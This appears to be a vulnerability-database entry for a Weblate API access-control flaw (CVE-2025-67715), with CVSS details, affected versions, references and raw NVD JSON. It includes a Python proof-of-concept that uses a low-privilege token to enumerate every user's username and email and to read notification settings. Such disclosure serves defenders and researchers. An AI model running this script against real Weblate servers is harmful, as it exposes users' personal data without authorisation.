Security Vulnerability Report
中文
CVE-2025-67715 CVSS 4.3 MEDIUM

CVE-2025-67715

Published: 2025-12-16 01:15:52
Last Modified: 2025-12-17 16:01:18

Description

Weblate is a web based localization tool. In versions prior to 5.15, it was possible to retrieve user notification settings or list all users via API. Version 5.15 fixes the issue.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:* - VULNERABLE
Weblate < 5.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-67715 PoC - Weblate API Unauthorized Access # Target: Weblate < 5.15 TARGET_URL = "http://target-weblate-server.com" API_TOKEN = "your-low-privilege-user-token" headers = { "Authorization": f"Token {API_TOKEN}", "Content-Type": "application/json" } # PoC 1: List all users via API def list_all_users(): """ Exploit to list all users through API endpoint """ endpoint = f"{TARGET_URL}/api/users/" response = requests.get(endpoint, headers=headers) if response.status_code == 200: users = response.json() print(f"[+] Successfully retrieved user list: {len(users)} users") for user in users: print(f" - Username: {user.get('username')}, Email: {user.get('email')}") return users else: print(f"[-] Failed to list users: {response.status_code}") return None # PoC 2: Get user notification settings def get_user_notifications(user_id): """ Exploit to retrieve user notification settings """ endpoint = f"{TARGET_URL}/api/notifications/{user_id}/" response = requests.get(endpoint, headers=headers) if response.status_code == 200: settings = response.json() print(f"[+] Successfully retrieved notification settings for user {user_id}") print(f" Settings: {json.dumps(settings, indent=2)}") return settings else: print(f"[-] Failed to get notifications: {response.status_code}") return None if __name__ == "__main__": print("[*] CVE-2025-67715 PoC - Weblate < 5.15 API Unauthorized Access") print("[*] Testing user enumeration...") list_all_users() print("\n[*] Testing notification settings access...") get_user_notifications(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67715", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:52.057", "lastModified": "2025-12-17T16:01:18.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. In versions prior to 5.15, it was possible to retrieve user notification settings or list all users via API. Version 5.15 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.15", "matchCriteriaId": "14EFFA2F-0B87-4B40-936D-8A2BFBB069A2"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/pull/17256", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-3pmh-24wp-xpf4", "source": "[email protected]", "tags": ["Vendor Advisory", "Patch"]}]}}